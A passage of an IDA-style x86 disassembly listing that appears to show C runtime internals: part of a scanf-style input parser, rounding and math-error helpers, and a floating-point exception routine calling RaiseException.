		call	off_451A50
		add	esp, 0Ch


loc_425DE1:				; CODE XREF: sub_424CA0+1111j
		jmp	short loc_425DE8
; ---------------------------------------------------------------------------


loc_425DE3:				; CODE XREF: sub_424CA0+1109j
		jmp	loc_425F8A
; ---------------------------------------------------------------------------


loc_425DE8:				; CODE XREF: sub_424CA0:loc_425DE1j
		jmp	short loc_425E34
; ---------------------------------------------------------------------------


loc_425DEA:				; CODE XREF: sub_424CA0+3B0j
					; sub_424CA0+3C4j
					; DATA XREF: ...
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, [ebp+var_1D8]
		jz	short loc_425E1A
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_426140
		add	esp, 8
		jmp	loc_425F8A
; ---------------------------------------------------------------------------


loc_425E1A:				; CODE XREF: sub_424CA0+1157j
		mov	cl, [ebp+var_28]
		sub	cl, 1
		mov	[ebp+var_28], cl
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_425E34
		mov	eax, [ebp+var_1D4]
		mov	[ebp+arg_8], eax


loc_425E34:				; CODE XREF: sub_424CA0:loc_425496j
					; sub_424CA0:loc_4259FDj ...
		mov	cl, [ebp+var_28]
		add	cl, 1
		mov	[ebp+var_28], cl
		jmp	short loc_425E60
; ---------------------------------------------------------------------------


loc_425E3F:				; CODE XREF: sub_424CA0+38Bj
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_426140
		add	esp, 8
		jmp	loc_425F8A
; ---------------------------------------------------------------------------


loc_425E60:				; CODE XREF: sub_424CA0+119Dj
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		jmp	loc_425F61
; ---------------------------------------------------------------------------


loc_425E6E:				; CODE XREF: sub_424CA0+11Dj
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	esi, edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	ecx, [ebp+var_1D8]
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		cmp	esi, ecx
		jz	short loc_425EC6
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_426140
		add	esp, 8
		jmp	loc_425F8A
; ---------------------------------------------------------------------------


loc_425EC6:				; CODE XREF: sub_424CA0+1203j
		mov	eax, [ebp+var_1D8]
		and	eax, 0FFh
		mov	ecx, off_45149C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_425F61
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	esi, edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_1F4], eax
		mov	ecx, [ebp+var_1F4]
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		cmp	esi, ecx
		jz	short loc_425F58
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1F4]
		push	edx
		call	sub_426140
		add	esp, 8
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_426140
		add	esp, 8
		jmp	short loc_425F8A
; ---------------------------------------------------------------------------


loc_425F58:				; CODE XREF: sub_424CA0+127Cj
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax


loc_425F61:				; CODE XREF: sub_424CA0+11C9j
					; sub_424CA0+1245j
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jnz	short loc_425F85
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 25h
		jnz	short loc_425F83
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	ecx, 6Eh
		jz	short loc_425F85


loc_425F83:				; CODE XREF: sub_424CA0+12D4j
		jmp	short loc_425F8A
; ---------------------------------------------------------------------------


loc_425F85:				; CODE XREF: sub_424CA0+12C8j
					; sub_424CA0+12E1j
		jmp	loc_424D17
; ---------------------------------------------------------------------------


loc_425F8A:				; CODE XREF: sub_424CA0+80j
					; sub_424CA0+635j ...
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jnz	short loc_425FBE
		cmp	[ebp+var_34], 0
		jnz	short loc_425FAD
		movsx	edx, [ebp+var_28]
		test	edx, edx
		jnz	short loc_425FAD
		mov	[ebp+var_224], 0FFFFFFFFh
		jmp	short loc_425FB6
; ---------------------------------------------------------------------------


loc_425FAD:				; CODE XREF: sub_424CA0+12F7j
					; sub_424CA0+12FFj
		mov	eax, [ebp+var_34]
		mov	[ebp+var_224], eax


loc_425FB6:				; CODE XREF: sub_424CA0+130Bj
		mov	eax, [ebp+var_224]
		jmp	short loc_425FC1
; ---------------------------------------------------------------------------


loc_425FBE:				; CODE XREF: sub_424CA0+12F1j
		mov	eax, [ebp+var_34]


loc_425FC1:				; CODE XREF: sub_424CA0+131Cj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_424CA0	endp

; ---------------------------------------------------------------------------
off_425FC8	dd offset loc_424F5A	; DATA XREF: sub_424CA0+239r
		dd offset loc_424EE0
		dd offset loc_424EF8
		dd offset loc_424F3C
		dd offset loc_424EE5
		dd offset loc_424F47
		dd offset loc_424F4F
		dd offset loc_424F65
byte_425FE8	db 0			; DATA XREF: sub_424CA0+233r
		db 3 dup(7)
		dd 6 dup(7070707h), 2070701h, 7030707h,	7070701h, 5 dup(7070707h)
		dd 7040707h, 7050707h, 2 dup(7070707h)
		db 7, 6
off_426036	dd offset loc_42506B	; DATA XREF: sub_424CA0+3C4r
		dd offset loc_4255A4
		dd offset loc_425A17
		dd offset loc_42549B
		dd offset loc_425A02
		dd offset loc_4255A0
		dd offset loc_4250B1
		dd offset loc_4254A2
		dd offset loc_4250D6
		dd offset loc_425DEA
byte_42605E	db 0			; DATA XREF: sub_424CA0+3BEr
		db 1
		dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h
		dd 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426080	proc near		; CODE XREF: sub_424CA0+9E9p
					; sub_424CA0+BCCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_4516A8, 1
		jle	short loc_4260A2
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_4], eax
		jmp	short loc_4260B7
; ---------------------------------------------------------------------------


loc_4260A2:				; CODE XREF: sub_426080+Dj
		mov	ecx, [ebp+arg_0]
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_4], eax


loc_4260B7:				; CODE XREF: sub_426080+20j
		cmp	[ebp+var_4], 0
		jz	short loc_4260C5
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		jmp	short loc_4260D1
; ---------------------------------------------------------------------------


loc_4260C5:				; CODE XREF: sub_426080+3Bj
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFFFDFh
		sub	edx, 7
		mov	[ebp+var_8], edx


loc_4260D1:				; CODE XREF: sub_426080+43j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_426080	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4260E0	proc near		; CODE XREF: sub_424CA0+370p
					; sub_424CA0+698p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jl	short loc_42611B
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx]
		and	eax, 0FFh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_42612A
; ---------------------------------------------------------------------------


loc_42611B:				; CODE XREF: sub_4260E0+1Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421F10
		add	esp, 4
		mov	[ebp+var_4], eax


loc_42612A:				; CODE XREF: sub_4260E0+39j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4260E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426140	proc near		; CODE XREF: sub_424CA0+ECp
					; sub_424CA0+666p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_426159
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42CD00
		add	esp, 8


loc_426159:				; CODE XREF: sub_426140+7j
		pop	ebp
		retn
sub_426140	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426160	proc near		; CODE XREF: sub_424CA0+E3p
					; sub_424CA0+353p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx


loc_426164:				; CODE XREF: sub_426160+30j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_4260E0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41E200
		add	esp, 4
		test	eax, eax
		jz	short loc_426192
		jmp	short loc_426164
; ---------------------------------------------------------------------------


loc_426192:				; CODE XREF: sub_426160+2Ej
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_426160	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4261A0(double)

sub_4261A0	proc near		; CODE XREF: sub_41CCD0+C3p
					; sub_41CEF0+C3p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4261A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4261C0(int,double,int)

sub_4261C0	proc near		; CODE XREF: sub_41CCD0+85p
					; sub_41CEF0+85p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_451D10, 0
		jnz	short loc_4261F4
		mov	eax, [ebp+arg_C]
		push	eax		; int
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx		; double
		push	0		; int
		push	0		; int
		mov	eax, [ebp+10h]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+arg_0]
		push	edx		; int
		push	1		; int
		call	sub_426C70
		add	esp, 24h
		jmp	short loc_426213
; ---------------------------------------------------------------------------


loc_4261F4:				; CODE XREF: sub_4261C0+Aj
		call	sub_4248A0
		mov	dword ptr [eax], 21h
		push	0FFFFh
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_427100
		add	esp, 8
		fld	qword ptr [ebp+arg_4]


loc_426213:				; CODE XREF: sub_4261C0+32j
		pop	ebp
		retn
sub_4261C0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		fld	qword ptr [ebp+0Ch]
		fadd	qword ptr [ebp+14h]
		fstp	qword ptr [ebp-8]
		cmp	dword_451D10, 0
		jnz	short loc_426264
		mov	eax, [ebp+1Ch]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp-8]
		push	edx
		mov	eax, [ebp+18h]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		push	1
		call	sub_426C70
		add	esp, 24h
		jmp	short loc_426283
; ---------------------------------------------------------------------------


loc_426264:				; CODE XREF: .nsp0:00426236j
		call	sub_4248A0
		mov	dword ptr [eax], 21h
		push	0FFFFh
		mov	edx, [ebp+1Ch]
		push	edx
		call	sub_427100
		add	esp, 8
		fld	qword ptr [ebp-8]


loc_426283:				; CODE XREF: .nsp0:00426262j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_426290(int,int,int,int,double,int)

sub_426290	proc near		; CODE XREF: sub_41CCD0+B1p
					; sub_41CCD0+129p ...

var_5C		= byte ptr -5Ch
var_24		= dword	ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		mov	eax, [ebp+arg_18]
		push	eax
		lea	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4268F0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4262D6
		mov	eax, [ebp+var_24]
		and	al, 0FEh
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_10]
		push	ecx
		lea	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		lea	edx, [ebp+arg_18]
		push	edx
		lea	eax, [ebp+var_5C]
		push	eax
		call	sub_426420
		add	esp, 18h


loc_4262D6:				; CODE XREF: sub_426290+1Cj
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_426D90
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	dword_451D10, 0
		jnz	short loc_42631E
		cmp	[ebp+var_4], 0
		jz	short loc_42631E
		mov	edx, [ebp+arg_18]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_10+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_10]
		push	ecx		; double
		push	0		; int
		push	0		; int
		mov	edx, [ebp+arg_C]
		push	edx		; int
		mov	eax, [ebp+arg_8]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+var_4]
		push	edx		; int
		call	sub_426C70
		add	esp, 24h
		jmp	short loc_42633E
; ---------------------------------------------------------------------------


loc_42631E:				; CODE XREF: sub_426290+5Cj
					; sub_426290+62j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_426D10
		add	esp, 4
		push	0FFFFh
		mov	ecx, [ebp+arg_18]
		push	ecx
		call	sub_427100
		add	esp, 8
		fld	[ebp+arg_10]


loc_42633E:				; CODE XREF: sub_426290+8Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_426290	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		mov	eax, [ebp+28h]
		push	eax
		lea	ecx, [ebp+20h]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_4268F0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4263AE
		mov	eax, [ebp-24h]
		or	al, 1
		mov	[ebp-24h], eax
		mov	ecx, [ebp-24h]
		and	ecx, 0FFFFFFE1h
		or	ecx, 2
		mov	[ebp-24h], ecx
		mov	edx, [ebp+18h]
		mov	[ebp-34h], edx
		mov	eax, [ebp+1Ch]
		mov	[ebp-30h], eax
		lea	ecx, [ebp+20h]
		push	ecx
		lea	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		lea	edx, [ebp+28h]
		push	edx
		lea	eax, [ebp-5Ch]
		push	eax
		call	sub_426420
		add	esp, 18h


loc_4263AE:				; CODE XREF: .nsp0:0042636Cj
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_426D90
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword_451D10, 0
		jnz	short loc_4263FA
		cmp	dword ptr [ebp-4], 0
		jz	short loc_4263FA
		mov	edx, [ebp+28h]
		push	edx
		mov	eax, [ebp+24h]
		push	eax
		mov	ecx, [ebp+20h]
		push	ecx
		mov	edx, [ebp+1Ch]
		push	edx
		mov	eax, [ebp+18h]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		call	sub_426C70
		add	esp, 24h
		jmp	short loc_42641A
; ---------------------------------------------------------------------------


loc_4263FA:				; CODE XREF: .nsp0:004263C4j
					; .nsp0:004263CAj
		mov	edx, [ebp-4]
		push	edx
		call	sub_426D10
		add	esp, 4
		push	0FFFFh
		mov	eax, [ebp+28h]
		push	eax
		call	sub_427100
		add	esp, 8
		fld	qword ptr [ebp+20h]


loc_42641A:				; CODE XREF: .nsp0:004263F8j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426420	proc near		; CODE XREF: sub_426290+3Ep
					; .nsp0:004263A6p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+0Ch], 0
		mov	eax, [ebp+arg_8]
		and	eax, 10h
		test	eax, eax
		jz	short loc_426464
		mov	[ebp+var_4], 0C000008Fh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_426464:				; CODE XREF: sub_426420+2Cj
		mov	ecx, [ebp+arg_8]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_426483
		mov	[ebp+var_4], 0C0000093h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		or	al, 2
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax


loc_426483:				; CODE XREF: sub_426420+4Cj
		mov	edx, [ebp+arg_8]
		and	edx, 1
		test	edx, edx
		jz	short loc_4264A3
		mov	[ebp+var_4], 0C0000091h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_4264A3:				; CODE XREF: sub_426420+6Bj
		mov	eax, [ebp+arg_8]
		and	eax, 4
		test	eax, eax
		jz	short loc_4264C3
		mov	[ebp+var_4], 0C000008Eh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 8
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_4264C3:				; CODE XREF: sub_426420+8Bj
		mov	ecx, [ebp+arg_8]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_4264E2
		mov	[ebp+var_4], 0C0000090h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		or	al, 10h
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax


loc_4264E2:				; CODE XREF: sub_426420+ABj
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 1
		neg	eax
		sbb	eax, eax
		inc	eax
		and	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, 0FFFFFFEFh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 4
		neg	edx
		sbb	edx, edx
		inc	edx
		and	edx, 1
		shl	edx, 3
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 0FFFFFFF7h
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 8
		neg	ecx
		sbb	ecx, ecx
		inc	ecx
		and	ecx, 1
		shl	ecx, 2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		and	al, 0FBh
		or	eax, ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		inc	eax
		and	eax, 1
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, 0FFFFFFFDh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 20h
		neg	edx
		sbb	edx, edx
		inc	edx
		and	edx, 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 0FFFFFFFEh
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		call	sub_4270C0
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_4265B2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		or	edx, 10h
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx


loc_4265B2:				; CODE XREF: sub_426420+181j
		mov	ecx, [ebp+var_8]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_4265CA
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		or	al, 8
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax


loc_4265CA:				; CODE XREF: sub_426420+19Aj
		mov	edx, [ebp+var_8]
		and	edx, 8
		test	edx, edx
		jz	short loc_4265E3
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ch], ecx


loc_4265E3:				; CODE XREF: sub_426420+1B2j
		mov	eax, [ebp+var_8]
		and	eax, 10h
		test	eax, eax
		jz	short loc_4265FC
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx


loc_4265FC:				; CODE XREF: sub_426420+1CBj
		mov	ecx, [ebp+var_8]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_426614
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax


loc_426614:				; CODE XREF: sub_426420+1E4j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 0C00h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 800h
		ja	short loc_426644
		cmp	[ebp+var_C], 800h
		jz	short loc_42665E
		cmp	[ebp+var_C], 0
		jz	short loc_426682
		cmp	[ebp+var_C], 400h
		jz	short loc_426670
		jmp	short loc_42668F
; ---------------------------------------------------------------------------


loc_426644:				; CODE XREF: sub_426420+208j
		cmp	[ebp+var_C], 0C00h
		jz	short loc_42664F
		jmp	short loc_42668F
; ---------------------------------------------------------------------------


loc_42664F:				; CODE XREF: sub_426420+22Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		or	edx, 3
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_42668F
; ---------------------------------------------------------------------------


loc_42665E:				; CODE XREF: sub_426420+211j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_42668F
; ---------------------------------------------------------------------------


loc_426670:				; CODE XREF: sub_426420+220j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_42668F
; ---------------------------------------------------------------------------


loc_426682:				; CODE XREF: sub_426420+217j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		mov	eax, [ebp+arg_0]
		mov	[eax], edx


loc_42668F:				; CODE XREF: sub_426420+222j
					; sub_426420+22Dj ...
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 300h
		mov	[ebp+var_10], edx
		cmp	[ebp+var_10], 0
		jz	short loc_4266D8
		cmp	[ebp+var_10], 200h
		jz	short loc_4266C6
		cmp	[ebp+var_10], 300h
		jz	short loc_4266B7
		jmp	short loc_4266E8
; ---------------------------------------------------------------------------


loc_4266B7:				; CODE XREF: sub_426420+293j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	short loc_4266E8
; ---------------------------------------------------------------------------


loc_4266C6:				; CODE XREF: sub_426420+28Aj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	short loc_4266E8
; ---------------------------------------------------------------------------


loc_4266D8:				; CODE XREF: sub_426420+281j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		or	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_4266E8:				; CODE XREF: sub_426420+295j
					; sub_426420+2A4j ...
		mov	eax, [ebp+arg_C]
		and	eax, 0FFFh
		shl	eax, 5
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFE001Fh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+20h]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+20h], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+20h]
		and	edx, 0FFFFFFE1h
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax+20h], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx]
		mov	[ecx+10h], eax
		mov	edx, [edx+4]
		mov	[ecx+14h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		or	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+50h], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE1h
		or	ecx, 2
		mov	edx, [ebp+arg_0]
		mov	[edx+50h], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_14]
		mov	edx, [ecx]
		mov	[eax+40h], edx
		mov	ecx, [ecx+4]
		mov	[eax+44h], ecx
		call	sub_4270E0
		lea	edx, [ebp+arg_0]
		push	edx
		push	1
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_4F14BC	; RaiseException
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 4
		and	edx, 1
		test	edx, edx
		jz	short loc_42679D
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx


loc_42679D:				; CODE XREF: sub_426420+36Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		shr	ecx, 3
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_4267B9
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	al, 0FBh
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_4267B9:				; CODE XREF: sub_426420+38Bj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
